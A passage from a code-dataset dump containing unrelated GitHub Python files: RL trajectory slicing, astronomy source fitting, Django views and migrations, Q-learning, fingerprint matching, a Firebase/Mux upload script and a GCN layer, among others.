subtask.start_idx < minimal_length:\n continue\n\n if fix_done:\n true_dones = [0 for _ in range(subtask.start_idx, subtask.end_idx)]\n true_dones[-1] = 1\n else:\n true_dones = dones[subtask.start_idx:subtask.end_idx]\n\n if scale_rewards:\n true_rewards = [0 for _ in range(subtask.start_idx, subtask.end_idx)]\n true_rewards[-1] = next_states[subtask.end_idx]['inventory'][subtask.item_name] - \\\n states[subtask.end_idx]['inventory'][subtask.item_name]\n else:\n true_rewards = rewards[subtask.start_idx:subtask.end_idx]\n\n sliced_states[subtask.item_name] += states[subtask.start_idx:subtask.end_idx]\n sliced_actions[subtask.item_name] += actions[subtask.start_idx:subtask.end_idx]\n sliced_rewards[subtask.item_name] += true_rewards\n sliced_next_states[subtask.item_name] += next_states[subtask.start_idx:subtask.end_idx]\n sliced_dones[subtask.item_name] += true_dones\n\n unique_item_names = set([item.item_name for item in self.subtasks])\n for item_name in unique_item_names:\n result[item_name] = [sliced_states[item_name],\n sliced_actions[item_name],\n sliced_rewards[item_name],\n sliced_next_states[item_name],\n sliced_dones[item_name]]\n\n return result\n\n @classmethod\n def extract_subtasks(cls, trajectory,\n excluded_actions=(\"attack\", \"back\", \"camera\",\n \"forward\", \"jump\", \"left\",\n \"right\", \"sneak\", \"sprint\"),\n compress_items=True) -> List[Subtask]:\n\n states, actions, rewards, next_states, _ = trajectory\n items = states[0].get('inventory', {}).keys()\n\n # add fake items to deal with crafting actions\n result: List[Subtask] = [Subtask(start_idx=0, end_idx=0)]\n\n for index in range(len(rewards)):\n\n for action in actions[index]:\n if action not in excluded_actions:\n target = str(actions[index][action])\n if target == 'none':\n continue\n\n a = Action(name=action, target=target)\n last_subtask = result[-1]\n if a.target:\n if not last_subtask.actions or last_subtask.actions[-1] != a:\n last_subtask.actions.append(a)\n for item in items:\n if next_states[index]['inventory'][item] > states[index]['inventory'][item]:\n s = Subtask(item_name=item, start_idx=result[-1].end_idx, end_idx=index, item_count=next_states[index]['inventory'][item])\n last_subtask = result[-1]\n if s.item_name == last_subtask.item_name and compress_items:\n # update the required number of items\n last_subtask.item_count = s.item_count\n last_subtask.end_idx = index\n else:\n # add new subtask\n result.append(s)\n\n result.append(Subtask())\n for item, next_item in zip(reversed(result[:-1]), reversed(result[1:])):\n item.actions, next_item.actions = next_item.actions, item.actions\n\n # remove empty items\n result = [subtask for subtask in result if subtask.item_name is not None]\n\n return result\n\n\nclass FrameSkip(gym.Wrapper):\n \"\"\"Return every `skip`-th frame and repeat given action during skip.\n Note that this wrapper does not \"maximize\" over the skipped frames.\n \"\"\"\n\n def __init__(self, env, skip=4):\n super().__init__(env)\n\n self._skip = skip\n\n def step(self, action):\n total_reward = 0.0\n infos = []\n info = {}\n obs = None\n done = None\n for _ in range(self._skip):\n obs, reward, done, info = self.env.step(action)\n infos.append(info)\n total_reward += reward\n if done:\n break\n if 'expert_action' in infos[0]:\n info['expert_action'] = self.env.preprocess_action([info_['expert_action'] for info_ in infos])\n return obs, total_reward, done, info\n\n\ndef main():\n trj_info = TrajectoryInformation(env_name='MineRLTreechop-v0', trajectory_name='v3_absolute_grape_changeling-7_14600-16079')\n # trj_info = TrajectoryInformation()\n env = FakeEnv(data=trj_info.trajectory_by_subtask['log'])\n env = FrameSkip(env, 2)\n # env = Monitor(env, 'monitor/')\n env.reset()\n done = False\n\n while True:\n done = False\n while not done:\n obs, rew, done, info = env.step(None)\n env.render(), sleep(0.01)\n\n if env.reset() is None:\n break\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cog-isa/forger","sub_path":"hierarchy/subtasks_extraction.py","file_name":"subtasks_extraction.py","file_ext":"py","file_size_in_byte":7104,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"32"} +{"seq_id":"74247509852","text":"import numpy as np\n\nfrom astropy import wcs\nfrom astropy.table import Table, Column\nfrom astropy import units as u\nfrom astropy.coordinates import SkyCoord\n\nimport matplotlib.pyplot as plt\n\nimport kuaizi\nimport os\nimport sys\nimport types\n\nfrom kuaizi.detection import makeCatalog\n\n\nclass HiddenPrints:\n \"\"\"\n Hide the print statements from the console.\n \"\"\"\n\n def __enter__(self):\n self._original_stdout = sys.stdout\n sys.stdout = open(os.devnull, 'w')\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n sys.stdout.close()\n sys.stdout = self._original_stdout\n pass\n\n\ndef _isLegal_shape(src):\n \"\"\"\n Check if the given source is within physical limits.\n See `_set_bounds` on how to use it.\n \"\"\"\n return (src.shape.getAllParams() <= src.shape.uppers) & (\n src.shape.getAllParams() >= src.shape.lowers)\n\n\ndef _isLegal_flux(src):\n \"\"\"\n Check if the given source is within physical limits.\n See `_set_bounds` on how to use it.\n \"\"\"\n return (src.brightness.getAllParams()[0] <= src.brightness.upper) & (\n src.brightness.getAllParams()[0] >= src.brightness.lower)\n\n\ndef _getLogPrior(src):\n \"\"\"\n LogPrior for sources.\n See `_set_bounds` on how to use it.\n \"\"\"\n if src.getSourceType() == 'PointSource':\n if not src.brightness.isLegal():\n return -np.inf\n else:\n return 0\n else:\n if not (src.brightness.isLegal() & src.shape.isLegal()):\n return -np.inf\n else:\n return 0\n\n\ndef _set_bounds(sources):\n \"\"\"\n The big problem with default `tractor` is that sources can have\n legit negative fluxes, negative radius, etc. This function manually\n writes the upper and lower limit for parameters (flux, R_e, axis ratio).\n The prior is assumed to be a tophat within upper and lower limit.\n We implement this by overwriting the `isLegal` function in `tractor.utils`\n and the `getLogPrior` function in `tractor.utils.BaseParams`.\n \"\"\"\n for src in sources:\n src.brightness.lower = 0 # no negative flux\n src.brightness.upper = 1e9\n src.brightness.isLegal = types.MethodType(_isLegal_flux, src)\n src.brightness.getLogPrior = types.MethodType(_getLogPrior, src)\n if src.getSourceType() != 'PointSource':\n src.shape.lowers = [0, 0, -1e9] # no negative R_e, axis ratio\n # set a large enough number to be upper limit\n src.shape.uppers = [1e9, 1e9, 1e9]\n src.shape.isLegal = types.MethodType(_isLegal_shape, src)\n return sources\n\n\ndef _freeze_source(src, freeze_dict):\n \"\"\"\n Freeze parameters of ONE source according to `freeze_dict`.\n\n Parameters\n ----------\n src : tractor source.\n freeze_dict : dict, e.g.,\n ```\n freeze_dict = {'pos': True, 'shape': True, 'shape.re': True,\n 'shape.ab': True, 'shape.phi': True, 'sersicindex': True}\n ```\n \"\"\"\n for item in freeze_dict:\n if item == 'shape.ab' and freeze_dict[item]:\n try:\n if src.getNamedParamIndex('shape') is not None and src.shape.re >= 0:\n src[src.getNamedParamIndex(\n 'shape')].freezeParam('ab')\n src[src.getNamedParamIndex(\n 'shape')].freezeParam('e1')\n src[src.getNamedParamIndex(\n 'shape')].freezeParam('e2')\n except:\n pass\n if item == 'shape.phi' and freeze_dict[item]:\n try:\n if src.getNamedParamIndex('shape') is not None and src.shape.re >= 0:\n src[src.getNamedParamIndex(\n 'shape')].freezeParam('phi')\n src[src.getNamedParamIndex(\n 'shape')].freezeParam('e1')\n src[src.getNamedParamIndex(\n 'shape')].freezeParam('e2')\n except:\n pass\n if item == 'shape.re' and freeze_dict[item]:\n if src.getNamedParamIndex('shape') is not None and src.shape.re >= 0:\n src[src.getNamedParamIndex(\n 'shape')].freezeParam('re')\n if item == 'shape' and freeze_dict[item] and item in src.namedparams:\n src.freezeParam(item)\n\n if item == 'pos' and freeze_dict[item] and item in src.namedparams:\n src.pos.addGaussianPrior('x', src.pos.x, 2)\n src.pos.addGaussianPrior('y', src.pos.y, 2)\n\n if item in ['sersicindex'] and item in src.namedparams:\n if freeze_dict[item] is True:\n src.freezeParam(item)\n return src\n\n\ndef _freeze_params(sources, freeze_dict, cen_ind=None, fix_all=False):\n \"\"\"\n Freeze parameters of sources in `sources` according to `freeze_dict`.\n\n Parameters\n ----------\n sources : list of tractor sources.\n freeze_dict : dict, e.g.,\n ```\n freeze_dict = {'pos': True, 'shape': True, 'shape.re': True,\n 'shape.ab': True, 'shape.phi': True, 'sersicindex': True}\n ```\n cen_ind : int, optional. The index of target object in `sources`.\n If provided, only the central object will be frozen.\n fix_all : bool, optional. If True, all sources are frozen according to `freeze_dict`.\n \"\"\"\n if cen_ind is not None:\n sources[cen_ind] = _freeze_source(sources[cen_ind], freeze_dict)\n\n if fix_all:\n for i in range(len(sources)):\n sources[i] = _freeze_source(sources[i], freeze_dict)\n return sources\n\n\ndef _compute_invvars(allderivs):\n \"\"\"\n Compute the inverse-variance of parameters.\n This is used to estimate the error of tractor fitting.\n \"\"\"\n ivs = []\n for derivs in allderivs:\n chisq = 0\n for deriv, tim in derivs:\n h, w = tim.shape\n deriv.clipTo(w, h)\n ie = tim.getInvError()\n slc = deriv.getSlice(ie)\n chi = deriv.patch * ie[slc]\n chisq += (chi**2).sum()\n ivs.append(chisq)\n return ivs\n\n\ndef _regularize_attr(item):\n \"\"\"\n Change attribute name to be consistent with output catalog.\n \"\"\"\n item = item.replace('pos.x', 'x')\n item = item.replace('pos.y', 'y')\n item = item.replace('brightness.Flux', 'flux')\n item = item.replace('shape.re', 're')\n item = item.replace('shape.ab', 'ab')\n item = item.replace('shape.phi', 'phi')\n item = item.replace('sersicindex.SersicIndex', 'sersic')\n return item\n\n\ndef getTargetProperty(trac_obj, wcs=None, target_ind=None, pixel_scale=kuaizi.HSC_pixel_scale, zeropoint=kuaizi.HSC_zeropoint):\n '''\n Write the properties of our target galaxy in a certain band into a dictionary.\n\n Paarameters\n ----------\n trac_obj: `Tractor` object, including the target galaxy\n wcs: wcs object of the input image.\n pixel_scale: pixel scale of the input image.\n zeropoint: zeropoint of the input image.\n\n Returns\n -------\n source_output (dict): contains many attributes of the target galaxy in `trac_obj`.\n source_output (dict): contains many attributes of the target galaxy in `trac_obj`.\n source_output (dict): contains many attributes of the target galaxy in `trac_obj`.\n Flux is in nanomaggies. (ZP=22.5),\n effective radius (`re`) is in arcsec.\n '''\n if trac_obj is None:\n return None\n\n trac_obj.thawAllRecursive()\n\n attri = trac_obj.catalog.getParamNames()\n attri = [_regularize_attr(item) for item in attri]\n\n values = dict(zip(attri, trac_obj.catalog.getParams()))\n with HiddenPrints():\n all_derivs = trac_obj.getDerivs()\n # first derivative is for sky bkg\n invvars = dict(zip(attri, _compute_invvars(all_derivs)[1:]))\n\n if target_ind is None:\n i = trac_obj.target_ind # only extract information of our target galaxy\n else:\n i = target_ind\n\n src = trac_obj.catalog[i]\n\n keys_to_extract = [item for item in attri if f'source{i}.' in item]\n source_values = {key.replace(f'source{i}.', ''): values[key] for key in keys_to_extract}\n source_values['flux'] *= 10**((22.5 - zeropoint) / 2.5) # in nanomaggy\n\n source_invvar = {key.replace(\n f'source{i}.', '') + '_ivar': invvars[key] for key in keys_to_extract}\n # in nanomaggy^-2\n source_invvar['flux_ivar'] *= 10**(- 2 * (22.5 - zeropoint) / 2.5)\n\n source_output = dict(**source_values, **source_invvar)\n\n if not 'sersic' in source_output.keys(): # doesn't have sersic index, need to assign according to its type\n if 'dev' in src.getSourceType().lower():\n source_output['sersic'] = 4.0\n source_output['sersic_ivar'] = 0.0\n source_output['type'] = 'DEV'\n\n if 'exp' in src.getSourceType().lower():\n source_output['sersic'] = 1.0\n source_output['sersic_ivar'] = 0.0\n rex_flag = (src.shape.getName() ==\n 'EllipseE' and src.shape.e1 == 0 and src.shape.e2 == 0)\n rex_flag |= (src.shape.getName() ==\n 'Galaxy Shape' and src.shape.ab == 1)\n\n if rex_flag:\n # Round exponential\n source_output['ab'] = 1.0\n source_output['phi'] = 0.0\n source_output['ab_ivar'] = 0.0\n source_output['phi_ivar'] = 0.0\n source_output['type'] = 'REX'\n else:\n source_output['type'] = 'EXP'\n\n if 'pointsource' in src.getSourceType().lower():\n source_output['sersic'] = 0.0\n source_output['sersic_ivar'] = 0.0\n source_output['type'] = 'PSF'\n source_output['ab'] = 1.0\n source_output['phi'] = 0.0\n source_output['ab_ivar'] = 0.0\n source_output['phi_ivar'] = 0.0\n source_output['re'] = 0.0\n source_output['re_ivar'] = 0.0\n else:\n source_output['type'] = 'SER'\n\n ## RA, DEC ##\n if wcs is not None:\n ra, dec = wcs.wcs_pix2world(source_output['x'], source_output['y'], 0)\n # Here we assume the WCS is regular and has no distortion!\n dec_ivar = source_output['y_ivar'] / (pixel_scale / 3600)**2\n ra_ivar = source_output['x_ivar'] / \\\n (pixel_scale / 3600)**2 / np.cos(np.deg2rad(dec))\n source_output['ra'] = float(ra)\n source_output['dec'] = float(dec)\n source_output['ra_ivar'] = float(ra_ivar)\n source_output['dec_ivar'] = float(dec_ivar)\n\n # R_e is already in arcsec\n if 're' not in source_output.keys():\n source_output['re'] = 0\n source_output['re_ivar'] = 0\n\n return source_output\n\n\ndef _write_to_row(row, model_dict, channels=list('grizy') + ['N708', 'N540']):\n '''\n Write the output of `getTargetProperty` to a Row of astropy.table.Table.\n\n Parameters\n ----------\n row (astropy.table.Row): one row of the table.\n measurement (dict): the output dictionary of `kuaizi.tractor.utils.getTargetProperty`\n\n Returns\n -------\n row (astropy.table.Row)\n '''\n if 'i' in model_dict.keys() and model_dict['i'] is not None:\n # Positions from i-band\n meas_dict = getTargetProperty(\n model_dict['i'], wcs=model_dict['i'].wcs, target_ind=0)\n # meas_dict = getTargetProperty(\n # model_dict['i'], wcs=model_dict['i'].wcs, target_ind=None)\n for key in ['ra', 'ra_ivar', 'dec', 'dec_ivar', 're', 're_ivar', 'ab', 'ab_ivar', 'phi', 'phi_ivar', 'sersic', 'sersic_ivar']:\n row[key] = meas_dict[key]\n # flux\n flux = np.zeros(len(channels))\n flux_ivar = np.zeros(len(channels))\n for i, filt in enumerate(channels):\n # meas_dict = getTargetProperty(model_dict[filt], target_ind=None)\n meas_dict = getTargetProperty(model_dict[filt], target_ind=0)\n if meas_dict is not None:\n flux[i] = meas_dict['flux']\n flux_ivar[i] = meas_dict['flux_ivar']\n row['flux'] = flux\n row['flux_ivar'] = flux_ivar\n return row\n else:\n return row\n\n\ndef initialize_meas_cat(obj_cat, channels=list('grizy') + ['N708', 'N540']):\n \"\"\"\n Initialize an empty measurement catalog filled by zeros.\n \"\"\"\n length = len(obj_cat)\n bands = len(channels)\n\n meas_cat = Table([\n Column(name='ID', length=length, dtype=int),\n Column(name='ra', length=length, dtype=float),\n Column(name='ra_ivar', length=length, dtype=float),\n Column(name='dec', length=length, dtype=float),\n Column(name='dec_ivar', length=length, dtype=float),\n Column(name='flux', length=length, shape=(bands,)),\n Column(name='flux_ivar', length=length, shape=(bands,)),\n Column(name='re', length=length, dtype=float),\n Column(name='re_ivar', length=length, dtype=float),\n Column(name='ab', length=length, dtype=float),\n Column(name='ab_ivar', length=length, dtype=float),\n Column(name='phi', length=length, dtype=float),\n Column(name='phi_ivar', length=length, dtype=float),\n Column(name='sersic', length=length, dtype=float),\n Column(name='sersic_ivar', length=length, dtype=float),\n ])\n\n return meas_cat\n","repo_name":"AstroJacobLi/kuaizi","sub_path":"kuaizi/tractor/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":13223,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"14788466765","text":"import sys \nsys.stdin = open(\"숭고한.txt\")\n\nuniv = [\"Soongsil\", \"Korea\", \"Hanyang\"]\n\nscores = list(map(int,input().split()))\n\nif sum(scores) >= 100:\n print(\"OK\")\nelse:\n answer = scores.index(min(scores))\n print(univ[answer])","repo_name":"kleenex1/TIL","sub_path":"문제풀기/코린즈/17388.py","file_name":"17388.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"22799967337","text":"arr=[1,2,3,4,5]\r\nl=0\r\nu=5\r\nprint(\"Call binary(lowerBound,UpperBound,ElementToSearch) to search list A\")\r\ndef binary(l, u, x):\r\n if u >= l:\r\n mid = int(l + (u - l)/2)\r\n if arr[mid] == x:\r\n print(\"ELEMENT FOUND IN \",mid+1,\" pos\")\r\n elif arr[mid] > x:\r\n return binary(l, mid-1, x)\r\n else:\r\n return binary(mid+1, u, x)\r\n else:\r\n print(\"Element is Not FOUND !!\")\r\n","repo_name":"NabinAdhikari674/Files","sub_path":"Pytho/Binary Search (Recursive).py","file_name":"Binary Search (Recursive).py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70882645852","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('apella', '0037_auto_20180529_0952'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='electorparticipation',\n name='position',\n field=models.ForeignKey(to='apella.Position', on_delete=django.db.models.deletion.PROTECT),\n ),\n migrations.AlterField(\n model_name='electorparticipation',\n name='professor',\n field=models.ForeignKey(to='apella.Professor', on_delete=django.db.models.deletion.PROTECT),\n ),\n ]\n","repo_name":"grnet/apella-app","sub_path":"apella/migrations/0038_auto_20180611_0826.py","file_name":"0038_auto_20180611_0826.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"6952736088","text":"paddle1_y = 300 - 50\npaddle2_y = 300 - 50\nball_x = 400\nball_y = 300\nup_arrow = False\ndown_arrow = False\nw_key = False\ns_key = False\n\ndef setup():\n size(800, 600)\n \ndef draw():\n global paddle1_y, paddle2_y, ball_x, ball_y\n \n background(25)\n \n if w_key:\n paddle1_y -= 5\n if s_key:\n paddle1_y += 5\n \n if up_arrow:\n paddle2_y -= 5\n if down_arrow:\n paddle2_y += 5\n \n rect(50, paddle1_y, 25, 100)\n rect(width - 50 - 25, paddle2_y, 25, 100)\n circle(ball_x, ball_y, 40)\n \ndef keyPressed():\n global up_arrow, down_arrow, w_key, s_key\n \n if keyCode == 38:\n up_arrow = True\n elif keyCode == 40:\n down_arrow = True\n elif key == \"w\":\n w_key = True\n elif key == \"s\":\n s_key = True\n \ndef keyReleased():\n global up_arrow, down_arrow, w_key, s_key\n \n if keyCode == 38:\n up_arrow = False\n elif keyCode == 40:\n down_arrow = False\n elif key == \"w\":\n w_key = False\n elif key == \"s\":\n s_key = False\n","repo_name":"JulienDuranleau/teaching-programming-with-python","sub_path":"examples/04_keyboard_mouse/pong/pong.pyde","file_name":"pong.pyde","file_ext":"pyde","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70987497050","text":"from django.shortcuts import render\nfrom .models import Student\n\n# first we will import aggregation function\nfrom django.db.models import Avg, Sum, Min, Max, Count\n\n\ndef home(request):\n students = Student.objects.all()\n\n # getting average of marks\n average = students.aggregate(Avg('marks'))\n print(average)\n\n # getting sum of marks\n sum = students.aggregate(Sum('marks'))\n print(sum)\n\n # getting min of marks\n min = students.aggregate(Min('marks'))\n print(min)\n\n # getting max of marks\n max = students.aggregate(Max('marks'))\n print(max)\n\n # getting count of marks\n count = students.aggregate(Count('marks'))\n print(count)\n return render(request, 'school/home.html')\n","repo_name":"roman-ojha/django","sub_path":"Notes/01_Main/topic_wise1/71_Aggregation/school/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"13800749794","text":"import pytest\n\nfrom lhotse.audio import AudioSource\nfrom lhotse.utils import is_module_available\n\n\n@pytest.mark.skipif(\n not is_module_available('smart_open'),\n reason='URL downloading requires smart_open to be installed.'\n)\ndef test_audio_url_downloading():\n audio_source = AudioSource(\n type='url',\n channels=[0],\n source='https://github.com/lhotse-speech/lhotse/blob/master/test/fixtures/mono_c0.wav?raw=true'\n )\n audio_source.load_audio()\n","repo_name":"wangzhang1992/kaldi2_docker","sub_path":"kaldi2/lhotse/test/test_audio_url.py","file_name":"test_audio_url.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24907528450","text":"from collections import defaultdict, deque\nimport numpy as np\nimport random\nimport gym\nimport sys\nimport matplotlib.pyplot as plt\nfrom plot_utils import plot_values\n\n\n\nenv = gym.make('CliffWalking-v0')\n\ndef epsilon_greedy(Q, state, eps, nA):\n if random.random() > eps:\n return np.argmax(Q[state])\n else:\n return random.choice(np.arange(nA))\n\ndef update_Q_sarsamax(alpha, gamma, Q, state, action, reward, next_state=None):\n curr = Q[state][action]\n Qsa_next = np.max(Q[next_state]) if next_state is not None else 0\n target = reward + (gamma * Qsa_next)\n new_value = curr + (alpha * (target - curr))\n return new_value\n\ndef q_learning(env, num_episodes, alpha, gamma=1.0, plot_every=100):\n # 初始化Q\n nA = env.action_space.n\n Q = defaultdict(lambda : np.zeros(nA))\n\n #查看进度\n tmp_scores = deque(maxlen=plot_every)\n avg_scores = deque(maxlen=num_episodes)\n\n\n # 对于每一个episode\n for i_episode in range(1, num_episodes + 1):\n\n #查看进度\n if i_episode % 100 == 0:\n print(\"\\rEpisode {}/{}\".format(i_episode, num_episodes),end=\"\")\n sys.stdout.flush()\n\n\n # 初��化得分\n score = 0\n\n # 设置递减参数epsilon\n eps = 1.0 / i_episode\n\n # 获得第一个状态值\n state = env.reset()\n\n # 对该幕之后的每一个状态\n while True:\n # 根据epsilon-greedy 选择动作\n action = epsilon_greedy(Q, state, eps, nA)\n # 获得next_state,reward\n next_state, reward, done, info = env.step(action)\n\n score += reward\n\n # 更新Q\n # 为什么不按sarsa.py里分done和not none两种情况来做?\n Q[state][action] = update_Q_sarsamax(alpha, gamma, Q, \\\n state, action, reward, next_state)\n state= next_state\n\n if done:\n tmp_scores.append(score)\n break\n\n if (i_episode % plot_every == 0):\n avg_scores.append(np.mean(tmp_scores))\n plt.plot(np.linspace(0, num_episodes, len(avg_scores), endpoint=False), np.asarray(avg_scores))\n plt.xlabel('Episode Number')\n plt.ylabel('Average Reward (Over Next %d Episodes)' % plot_every)\n plt.show()\n # print best 100-episode performance\n print(('Best Average Reward over %d Episodes: ' % plot_every), np.max(avg_scores))\n\n return Q\n\n\n\nQ_sarsamax = q_learning(env, 50000, .01)\n# policy_sarsamax = np.array([np.argmax(Q_sarsamax[key]) if key in Q_sarsamax else -1 for key in np.arange(48)]).reshape((4,12))\n#\n# print(\"\\nEstimated Optimal Policy (UP = 0, RIGHT = 1, DOWN = 2, LEFT = 3, N/A = -1):\")\n# print(policy_sarsamax)\n#\n# # plot the estimated optimal state-value function\n# plot_values([np.max(Q_sarsamax[key]) if key in Q_sarsamax else 0 for key in np.arange(48)])\n","repo_name":"chen2018k/Deep_rl","sub_path":"Temporal_Difference/q_learning.py","file_name":"q_learning.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24720562774","text":"import os\nimport cv2\n\nsample = cv2.imread(\"dataset/fingerprint/SOCOFing/Altered/Altered-Hard/150__M_Right_little_finger_CR.BMP\")\n\nbestScore = 0\nfilename = None\nimage = None\nkp1, kp2, mp = None, None, None\n\n\nfor file in [file for file in os.listdir(\"dataset/fingerprint/SOCOFing/Real\")][:1000]:\n fingerprintImage = cv2.imread(\"dataset/fingerprint/SOCOFing/Real/\" + file)\n\n sift = cv2.SIFT_create()\n keypoints1, descriptors1 = sift.detectAndCompute(sample, None)\n keypoints2, descriptors2 = sift.detectAndCompute(fingerprintImage, None)\n\n matches = cv2.FlannBasedMatcher({\"algorithm\": 1, \"trees\": 10}, {}).knnMatch(descriptors1, descriptors2, k=2)\n\n matchPoints = []\n\n for p, q in matches:\n if p.distance < 0.1 * q.distance:\n matchPoints.append(p)\n \n keypoints = 0\n if len(keypoints1) <= len(keypoints2):\n keypoints = len(keypoints1)\n else:\n keypoints = len(keypoints2)\n\n\n if len(matchPoints) / keypoints * 100 > bestScore:\n bestScore = len(matchPoints) / keypoints * 100\n filename = file\n image = fingerprintImage\n kp1, kp2, mp = keypoints1, keypoints2, matchPoints\n\nif len(matchPoints) > 0:\n print(f\"En iyi eşleşme: {filename}\\n Score: {bestScore}\")\n\n result = cv2.drawMatches(sample, kp1, image, kp2, mp, None)\n result = cv2.resize(result, None, fx=4, fy=4)\n\n cv2.imshow('results', result)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\nelse:\n print(\"Eşleşme Yok\")","repo_name":"blitzkrieg0000/Workshop","sub_path":"Work/Context/CV/Fingerprint/FingerprintMatching/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18524892818","text":"def delete_node(head, target):\n while head.next is not None and head.next.value != target:\n head = head.next\n head.next = head.next.next\n\nclass Node(object):\n def __init__(self, value, next=None):\n self.value = value\n self.next = next\n\ndef print_list(head):\n while head is not None:\n print('curr node is {}'.format(head.value))\n head = head.next\n\nnode4 = Node(4)\nnode3 = Node(3, node4)\nnode2 = Node(2, node3)\nnode1 = Node(1, node2)\n\ndelete_node(node1, target=3)\n\nprint_list(node1)\n\n","repo_name":"emmas0507/lintcode","sub_path":"delete_node.py","file_name":"delete_node.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36403951009","text":"from __future__ import unicode_literals\nimport firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore, storage\nimport os\nimport mux_python\n\nos.environ['GRPC_DNS_RESOLVER'] = 'native'\nconfiguration = mux_python.Configuration()\nconfiguration.username = os.environ['MUX_TOKEN_ID']\nconfiguration.password = os.environ['MUX_TOKEN_SECRET']\n\ncred = credentials.Certificate(\"fir-flasksofia-firebase-adminsdk-zq0sm-c1b8842fd6.json\")\nfirebase_admin.initialize_app(cred,{\n 'storageBucket': 'fir-flasksofia.appspot.com' # GET BUCKET NAME\n})\n\ndb = firestore.client()\nbucket = storage.bucket()\n\ntracks = db.collection(u'sofia').document(u'test').collection(u'tracks')\n\ntrack = input(\"Enter the track\")\n\nprint(\"printing track\")\ntrackname = f'{track}'\n\npose_obj = tracks.document(trackname).collection(u'poses')\nget_pose_obj = pose_obj.get()\n\n########################################################\n\n#########################################################\n\nfor i in range(len(get_pose_obj)):\n pose = get_pose_obj[i].to_dict()\n print(\"This is the\",pose['title'],\"pose. Do you want to update the details of this pose? Then, Press 1. Else, press 0\")\n f = input()\n if f:\n for field in pose:\n print(field,\"--------------\",pose[field])\n update = input(\"Press 1 to Update this field. Else press 0.\")\n if update == '0':\n pass\n else :\n data_input = input()\n if field == \"video_url\":\n # upload the file from path to firebase storage\n # get the cached mux url\n # pass url to data_input\n blob = bucket.blob(data_input)\n blob.upload_from_filename(data_input)\n blob.make_public()\n print(blob.public_url)\n video_storage_url = blob.public_url\n\n # MUX\n\n assets_api = mux_python.AssetsApi(mux_python.ApiClient(configuration))\n input_settings = [mux_python.InputSettings(url=video_storage_url)]\n create_asset_request = mux_python.CreateAssetRequest(input=input_settings)\n create_asset_response = assets_api.create_asset(create_asset_request)\n # https://docs.mux.com/guides/video/stream-video-files\n PLAYBACK_ID = create_asset_response['data']['playback_ids'][id]\n video_mux_url = \"https://stream.mux.com/\"+PLAYBACK_ID+\".m3u8\"\n\n data_input = video_mux_url\n if field == \"image\":\n # upload the img to firebase storage\n # get the url\n # pass img url to data_input\n blob = bucket.blob(data_input)\n blob.upload_from_filename(data_input)\n blob.make_public()\n print(blob.public_url)\n image_url = blob.public_url\n data_input = image_url\n pose_obj.document(pose['title']).update({field: data_input})\n\n\n##########################################################\n","repo_name":"Soumi7/firebase_flask_app","sub_path":"firebase_script.py","file_name":"firebase_script.py","file_ext":"py","file_size_in_byte":3190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"44042558310","text":"import torch\nimport torch.nn as nn\nimport torch_geometric as torch_g\nfrom torch_geometric.utils import add_remaining_self_loops, degree, to_torch_coo_tensor, to_torch_csc_tensor\n\nimport hamgnn.nn_modules.EncodeProcessDecodeRandFeatures as encodeDecode\n\n#python3 terminal_scripts/train_model_variation.py --run-name gcn_4l --gpu 1 train_request_HamS_gpu_GCN\n\n\"\"\"\nin models_list.py append:\n\nfrom hamgnn.nn_modules.GraphConvolutionalNN import EncodeProcessDecodeAlgorithmGCN\n\n#GCN\ntrain_request_HamS_gpu_GCN = copy.deepcopy(train_request_HamS_gpu_with_rand_node_encoding)\ntrain_request_HamS_gpu_GCN.arguments[\"model_class\"] = EncodeProcessDecodeAlgorithmGCN\ntrain_request_HamS_gpu_GCN.arguments[\"trainer_hyperparams\"].update({\"max_epochs\": 2000})\n\n#for 1 layer:\ntrain_request_HamS_gpu_GCN.arguments[\"model_hyperparams\"].update({\"processor_depth\": 1})\n#for 2 layers:\ntrain_request_HamS_gpu_GCN.arguments[\"model_hyperparams\"].update({\"processor_depth\": 2})\n#for 4 layers:\ntrain_request_HamS_gpu_GCN.arguments[\"model_hyperparams\"].update({\"processor_depth\": 4})\n\"\"\"\n\n#Graph Convolutional layer\nclass GCNConvLayer(torch_g.nn.MessagePassing):\n def __init__(self, in_dim, out_dim):\n super().__init__(aggr='add')\n self.in_dim = in_dim\n self.out_dim = out_dim\n\n self.lin = nn.Linear(in_dim, out_dim)\n\n def message(self, x_j, norm):\n return norm * x_j\n\n def forward(self, x, edge_index, edge_weight):\n num_nodes = x.size(0)\n\n #adding the remaining self loops\n edge_index, edge_weight = add_remaining_self_loops(edge_index, edge_attr=edge_weight, fill_value=1, num_nodes=num_nodes)\n #adj_matrix = 